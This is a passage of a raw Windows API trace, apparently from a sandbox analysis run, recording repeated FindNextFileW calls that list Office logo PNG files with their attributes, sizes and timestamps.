dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-140.png", cAlternateFileName="EX3590~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa67, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-180.png", cAlternateFileName="EXE70C~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogoSmall.scale-80.png", cAlternateFileName="EX97E8~1.PNG")) returned 1 [0189.692] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-100.png", cAlternateFileName="FIRSTR~4.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-140.png", cAlternateFileName="FIRSTR~3.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa81, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-180.png", cAlternateFileName="FI9FD2~1.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-black_scale-80.png", cAlternateFileName="FI357C~1.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-100.png", cAlternateFileName="FIRSTR~2.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198fbe19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198fbe19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-140.png", cAlternateFileName="FIRSTR~1.PNG")) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-180.png", cAlternateFileName="FI8E23~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.contrast-white_scale-80.png", cAlternateFileName="FI4144~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-100.png", cAlternateFileName="FI1EC9~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-140.png", cAlternateFileName="FIBF57~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-180.png", cAlternateFileName="FI9277~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogo.scale-80.png", cAlternateFileName="FI8090~1.PNG")) returned 1 [0189.694] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-100.png", cAlternateFileName="FI5507~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-140.png", cAlternateFileName="FI782A~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992206f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992206f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992206f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-180.png", cAlternateFileName="FID9A4~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-black_scale-80.png", cAlternateFileName="FI5606~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-100.png", cAlternateFileName="FID3BA~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-140.png", cAlternateFileName="FI1689~1.PNG")) returned 1 [0189.695] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-180.png", cAlternateFileName="FIB7A7~1.PNG")) returned 1 [0189.696] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.contrast-white_scale-80.png", cAlternateFileName="FI5C4C~1.PNG")) returned 1 [0189.696] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-100.png", cAlternateFileName="FI2DF7~1.PNG")) returned 1 [0189.696] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-140.png", cAlternateFileName="FIFE2A~1.PNG")) returned 1 [0189.696] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-180.png", cAlternateFileName="FIA1A5~1.PNG")) returned 1 [0189.696] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x537, dwReserved0=0x0, dwReserved1=0x0, cFileName="FirstRunLogoSmall.scale-80.png", cAlternateFileName="FIED60~1.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-100.png", cAlternateFileName="GROOVE~1.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1996e644, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1996e644, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1996e644, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-140.png", cAlternateFileName="GROOVE~2.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199e0c45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199e0c45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-180.png", cAlternateFileName="GRA3AD~1.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x768, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-black_scale-80.png", cAlternateFileName="GR0C5F~1.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x908, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-100.png", cAlternateFileName="GRADA3~1.PNG")) returned 1 [0189.697] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199ba9ea, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199ba9ea, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-140.png", cAlternateFileName="GR7FD5~1.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-180.png", cAlternateFileName="GR2251~1.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.contrast-white_scale-80.png", cAlternateFileName="GROOVE~3.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-100.png", cAlternateFileName="GR37CD~1.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-140.png", cAlternateFileName="GR3AC7~1.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1add, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-180.png", cAlternateFileName="GR7C96~1.PNG")) returned 1 [0189.698] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199947e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogo.scale-80.png", cAlternateFileName="GROOVE~4.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-100.png", cAlternateFileName="GRF89D~1.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-140.png", cAlternateFileName="GR4622~1.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa56, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-180.png", cAlternateFileName="GRBAC6~1.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-black_scale-80.png", cAlternateFileName="GR3641~1.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLogoSmall.contrast-white_scale-100.png", cAlternateFileName="GR7AE9~1.PNG")) returned 1 [0189.699] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19a06e8b, 